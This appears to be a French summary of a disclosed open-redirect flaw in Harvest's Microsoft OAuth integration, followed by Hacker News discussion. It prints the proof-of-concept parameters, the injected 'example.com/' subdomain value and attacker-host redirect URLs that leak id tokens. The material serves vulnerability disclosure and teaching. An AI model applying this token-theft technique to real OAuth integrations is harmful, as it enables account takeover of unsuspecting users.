Une redirection ouverte dans l’application Harvest permettait de voler des jetons OAuth de comptes Microsoft
(eval.blog)- Dans le flux de connexion OAuth d’Outlook Calendar de Harvest, l’URL de callback redirigeait à nouveau vers la destination de la valeur
state, créant une redirection ouverte qui, combinée au flux d’autorisation implicite, pouvait exposer le jeton à une URL externe - Le problème ne venait pas de Microsoft mais de l’intégration Harvest, où le
redirect_uriOAuth enregistré devenait un point de passage de redirection envoyant l’utilisateur vers un domaine choisi par l’attaquant stateest un JSON encodé en URI, et si l’on met un domaine externe avec une barre oblique commeexample.com/danssubdomain, la redirection prend la formeexample.com/.harvestapp.com/...- La preuve de concept montre, depuis l’URL d’autorisation OAuth de Microsoft, un flux utilisant
client_id=0dcef4db-36d8-4aed-9cc5-ab43e1814884,response_type=id_token,response_mode=fragmentetscope=openid, dans lequel le fragment#id_token=...est ajouté à la cible de redirection - La faille a été signalée le 23 août 2020, un correctif a été confirmé le 1er août 2023, puis Harvest a présenté ses excuses le 22 octobre 2023 en expliquant que le retard relevait d’une erreur humaine
Fuite de jeton dans le callback OAuth
- Harvest est un logiciel de suivi du temps qui permet aux utilisateurs de connecter Outlook Calendar via OAuth
- Une fois l’autorisation réussie, l’utilisateur est redirigé vers
https://outlook-integration.harvestapp.com/auth/outlook-calendar/… - Ce callback redirige ensuite l’utilisateur vers l’URL fournie dans
state, ce qui provoque au passage une redirection ouverte - La valeur
stateobservée dans l’URL de callback d’origine est un JSON encodé en URI- Une fois décodée, elle prend la forme
{"return_to":"/","subdomain":"hackerone295"} - La valeur
subdomainsert à déduire un espace d’application Harvest commehackerone295.harvestapp.com
- Une fois décodée, elle prend la forme
- Si l’on ajoute une barre oblique à
subdomain, par exempleexample.com/, l’URL de callback redirige alors vers un domaine externe - Cette URL de callback est le redirect_uri enregistré dans l’application OAuth ; en combinant cette redirection ouverte avec le flux d’autorisation implicite, le jeton peut être exposé à la cible de redirection
- L’URL d’autorisation de la preuve de concept utilise les valeurs suivantes
client_id=0dcef4db-36d8-4aed-9cc5-ab43e1814884response_type=id_tokenredirect_uri=https://outlook-integration.harvestapp.com/auth/outlook-calendar/…?...scope=openidresponse_mode=fragmentstate=1nonce=123456
- L’utilisateur est finalement redirigé vers une URL de la forme suivante
https://example.com/.harvestapp.com/auth/… access token]&state=1
- Il ne s’agit pas d’une vulnérabilité côté Microsoft
Le temps écoulé entre le signalement et le correctif
- L’équipe Harvest a très peu répondu durant la divulgation et le processus de correction, et malgré la reconnaissance de la faille au triage, la correction a pris beaucoup de temps
- La faille a été signalée le 23 août 2020, et Harvest a pris contact pour la première fois le 16 octobre 2020
- Le 27 novembre 2020, le rapport est passé à l’état triaged
- Le 28 avril 2022, l’entreprise a indiqué qu’un correctif était en cours et a avancé un délai estimé à 2 semaines, mais la correction effective a encore pris environ un an de plus
- Le 1er août 2023, le correctif de la faille a été confirmé
- Le 21 octobre 2023, le rapport a été rendu public via un billet
- À cette date, le rapport était toujours à l’état triage et, bien que la politique de bug bounty mentionne une récompense, aucune prime ni aucun point HackerOne n’ont été attribués
- Après que le billet a attiré l’attention le 22 octobre 2023, Harvest a expliqué et présenté ses excuses pour le retard dans un message indiquant qu’il s’agissait d’une erreur humaine
1 commentaires
Avis de Hacker News
En tant que responsable du programme de bug bounty, je vais expliquer ce qui s’est passé en interne. J’ai déjà présenté mes excuses à @0xcrypto et donné des explications en interne, mais il me semble juste de les résumer ici aussi
Dès le départ, nous n’avons pas réussi à reproduire complètement le problème, et nous ne pouvions pas non plus le clore de peur de passer à côté de quelque chose. Juste après ma dernière réponse indiquant que j’allais « trouver une solution », nous étions proches de conclure à une impossibilité de reproduction, et l’arrivée d’un signalement similaire lié à OAuth a créé une confusion en interne : j’ai cru à tort que le dossier avait déjà été traité et transmis
À cause de la configuration des notifications, j’ai manqué les messages de suivi, et le ticket est resté indéfiniment en statut Triage, sans mise à jour. Ce n’est pas une excuse ; ayant moi-même longtemps été chasseur de bugs, je sais très bien à quel point il est frustrant d’attendre des nouvelles d’une entreprise. La sécurité des clients est notre priorité absolue, et ce qui est indiqué sur la page sécurité est exact
De plus, on ne sait toujours pas comment sera traité un signalement qui n’est désormais plus reproductible. J’aurais aimé en discuter davantage sur HackerOne, mais après le message d’excuses, cela semble être redevenu un silence radio
L’état de l’app est souvent désynchronisé de celui du serveur ; les changements côté serveur n’apparaissent qu’après un rafraîchissement forcé, ou bien des changements côté client sont annulés après enregistrement. L’expérience de suivi du temps est aussi pénible : certains boutons ne sont visibles qu’en faisant défiler, et l’emplacement des boutons démarrer/arrêter/redémarrer/supprimer change constamment selon l’état de l’élément. L’ancienne app n’était pas très jolie, mais elle fonctionnait sans problème
C’est assez inquiétant. Quand j’ai utilisé Harvest, le support était vraiment excellent : réponses rapides, compréhension fine de la façon dont les clients utilisaient le produit, et explications détaillées sur des manières créatives d’exploiter les fonctionnalités existantes
Pour les fonctionnalités non implémentées, la réponse était : « nous l’ajouterons au backlog, mais sans garantie ». Il est indiqué que l’équipe d’ingénierie compte 30 personnes [1], mais je ne sais pas bien à quoi ces ressources sont consacrées. Je n’ai pas non plus vu d’autres fonctionnalités sortir rapidement
Quand j’ai commencé à recevoir du spam en tant qu’« utilisateur Harvest », j’ai soupçonné qu’ils avaient vendu leur liste de clients, mais les responsables de l’entreprise se sont immédiatement impliqués, ont fermement démenti et ont lancé une enquête sans attendre. C’était un bon point
Mais au bout du compte, cela ressemble aussi à un problème d’ingénierie. J’ai trouvé un moyen assez simple d’estimer les clients actifs, et ce sujet aussi a été mis dans le « backlog », puis n’a pas été corrigé depuis des mois. Le correctif semblait pourtant très mineur. Par ailleurs, le MFA n’est proposé que lors d’une connexion avec Google [2]. Cela dit, l’app elle-même fait vraiment très bien ce pour quoi elle est conçue
1: https://www.getharvest.com/about/meet-the-team
2: https://support.getharvest.com/hc/en-us/articles/36005266713...
Le problème de communication avec l’auteur du signalement dans ce fil est entièrement de ma faute et, comme je l’ai expliqué dans la réponse en haut, je ferai en sorte que cela ne se reproduise pas
Certaines demandes de fonctionnalités ont même fini dans le produit. Ce n’était peut-être pas grâce à moi, mais au moins nous semblions partager la même vision d’un bon outil de suivi du temps
Le titre me paraît assez injuste envers Microsoft. On dirait qu’il cherche à profiter de l’attention récente portée à Microsoft à cause d’incidents d’authentification, et en voyant le titre, ma première réaction a été : « encore une compromission chez MS ? »
En réalité, il s’agit du token de Harvest, et seule l’autorisation d’accès à l’app Harvest a été exposée à tort à cause d’une vulnérabilité d’injection dans le code de Harvest. Cela aurait été tout aussi vulnérable derrière n’importe quel autre fournisseur d’identité
Cette vulnérabilité n’affecte que l’implémentation OAuth utilisée pour la connexion des comptes Microsoft. Le titre original était « Microsoft OAuth token leak via open redirect in Harvest App », puis je l’ai modifié en « Microsoft Account's OAuth tokens leaking via open redirect in Harvest App ». Je suis toujours prêt à le changer et j’accepte volontiers les suggestions
La RFC 6749 explique en détail comment un serveur d’autorisation peut empêcher ce type d’attaque.
Le serveur d’autorisation doit obligatoirement exiger l’enregistrement des URI de redirection pour les clients publics, et il est recommandé de le faire aussi pour les clients confidentiels. Si une URI de redirection est fournie dans la requête, le serveur d’autorisation doit la valider en la comparant à la valeur enregistrée.
Dans ce cas, je suppose que l’app Harvest n’avait pas enregistré de
redirect_urimalveillant ; je me demande donc comment cela a été possible. Le serveur OAuth de Microsoft ignore-t-il les paramètres d’URL dans leredirect_urilorsqu’il le compare à l’URI de redirection enregistrée du client OAuth ?state. C’était probablement destiné à rediriger vers n’importe quelle destination.Le flux prévu devait ressembler à ceci : aller sur l’URL d’authentification Harvest → rediriger vers l’URL d’authentification Microsoft avec
redirect_uri=registered_urietstate=some_encoded_final_uri→ l’utilisateur saisit ses identifiants → redirection vers l’URI enregistrée → lecture destatepuis nouvelle redirection vers l’URI qu’il contient.Cette attaque redirige toujours vers une URI autorisée, mais cet endpoint lit
stateet transmet tel quel la réponse/le token. Il y a trois erreurs : usage abusif destate, absence de chiffrement et de validation destatesi on voulait l’utiliser ainsi, et activation de l’octroi implicite. S’ils en avaient besoin, ils auraient dû créer un enregistrement séparé à usage limité.redirect_uride Harvest est bien enregistré chez Microsoft. Après que le serveur OAuth de Microsoft a redirigé vers Harvest, c’est Harvest qui a implémenté sa propre redirection à partir des données destate.L’octroi implicite est assez catastrophique pour ce genre de raison, comme on le voit dans cet article.
À titre de référence, il doit être retiré de la prochaine spécification OAuth 2.1 : https://www.ietf.org/archive/id/draft-ietf-oauth-v2-1-09.htm...
Il a fallu 3 ans pour corriger la vulnérabilité ? D’août 2020 à août 2023… Je ne connais pas la taille de l’équipe Harvest, mais ça paraît quand même complètement déraisonnable.
J’aimerais qu’un spécialiste d’OAuth explique ce problème un peu plus en détail. J’ai relu le billet plusieurs fois, mais je ne comprends toujours pas la vulnérabilité réelle.
Avec mes connaissances très limitées d’OAuth, l’app Harvest ne demande-t-elle pas à Microsoft de vérifier l’utilisateur, puis, une fois l’utilisateur validé par Microsoft, Microsoft redirige vers une URL de callback en transmettant le token d’accès dans le corps de la réponse ?
Dans ce cas, l’auteur du billet n’a-t-il pas simplement fabriqué une URL artisanale qui fait aller l’URL de retour vers example.com au lieu de la vraie URL de retour ?
harvestapp, et la partie contrôlée par l’attaquant se trouve dansstate, qui est quasiment opaque du point de vue du serveur OAuth.Avec cette URL, on peut envoyer à quelqu’un un lien vers
login.microsoftonline.com, afficher une invite de connexion disant « se connecter à Harvest », puis permettre à l’attaquant d’obtenir de véritables autorisations liées au compte Harvest.Normalement, ce n’est pas possible. Un attaquant peut enregistrer une nouvelle app qui redirige vers
example.com, mais il n’obtiendra alors pas de token d’accès contenant des permissions liées à Harvest, donc cela ne sert à rien.Côté application OAuth Microsoft, il existe une liste d’autorisation des redirections valides, donc une tentative du type
login.microsoftonline.com/authorize?client_id=$harvestAppID&redirect_uri=attacker.comprovoque une erreur côté Microsoft. L’attaque est possible parce qu’une URL valide deoutlook-integration.harvestapp.comreçoit le token d’accès, puis redirige à son tour vers le site de l’attaquant en transmettant aussi ce token.outlook-integration.harvestapp.com. Après la réussite du callback OAuth2, ils utilisaient commestateun objet JSON contenant les instructions à exécuter.La propriété
subdomainservait à rediriger le navigateur vers un sous-domaine deharvestapp.comen transmettant#id-token. Le problème est que la valeur desubdomainétait injectée telle quelle dans l’URL ci-dessous :https://${subdomain}.harvestapp.com/...#id-token=...
Si, dans la charge JSON, on définit
subdomainavec une valeur commeattacker-controlled.com/, avec une barre oblique finale, l’URL devienthttps://attacker-controlled.com/.harvestapp.com/...#id-token=.., et le navigateur se rend sur un autre domaine en divulguant le token.Ce n’est donc pas un problème implicite à OAuth lui-même, mais une mauvaise implémentation.
Lors de la configuration du workflow, au lieu de créer une vraie liste d’URL de callback de confiance, ils ont peut-être utilisé un wildcard dans la liste d’autorisation des URL de callback. Je peux aussi me tromper complètement.
Je ne comprends pas pourquoi ils ont attendu trois ans. Un délai de grâce avant divulgation de 90 jours suffit
Cela dit, ce délai supplémentaire doit être accordé par le chercheur ou par son avocat/représentant. C’est le genre de chose qu’une entreprise peut demander de bonne foi pour un dossier plus important que la normale
Si HackerOne laisse des entreprises laisser traîner ce genre de choses pendant trois ans, j’ai l’impression qu’ils ne jouent pas correctement leur rôle
Au niveau le plus basique, ils ne font que fournir une plateforme de divulgation de vulnérabilités et des formulations juridiques standard pour éviter que les chercheurs se fassent poursuivre par les équipes juridiques
Dans la plupart des cas, les entreprises refusent les demandes de divulgation. Si le chercheur publie sans autorisation, il viole ses accords avec HackerOne et l’entreprise, et s’expose à une responsabilité juridique. Dans ce cas-ci, l’entreprise semble avoir accepté la divulgation, et même si sa réaction a été très lente, je pense que cela mérite d’être reconnu
Personnellement, j’ai eu plusieurs fois des bugs rémunérés à quatre chiffres qui n’ont pas été corrigés pendant plus d’un an, mais je n’ai jamais considéré que c’était la faute de HackerOne
HackerOne n’en avait rien à faire. Même après leur avoir signalé plusieurs fois que cette personne enfreignait leurs règles, ils disaient ne rien pouvoir faire
Cela donnait l’impression d’une entreprise autrefois amenée à un fonctionnement normal, puis réduite au strict minimum, avec des agents de support sans pouvoir qui répondaient aux questions. C’était il y a assez longtemps, donc les choses ont peut-être changé depuis, mais c’est l’impression que j’en ai gardée
Si les entreprises ont l’impression que HackerOne dépasse les bornes et décide de ce qu’elles sont “autorisées” à faire, elles quitteront simplement HackerOne pour créer une solution interne
Je ne comprends pas pourquoi ce problème n’a pas été remonté à Microsoft. Microsoft aurait pu révoquer les droits d’accès de cette application OAuth jusqu’à ce que le problème soit corrigé
Cela dit, il doit y avoir des milliers d’implémentations tout aussi mauvaises connectées à Microsoft via OAuth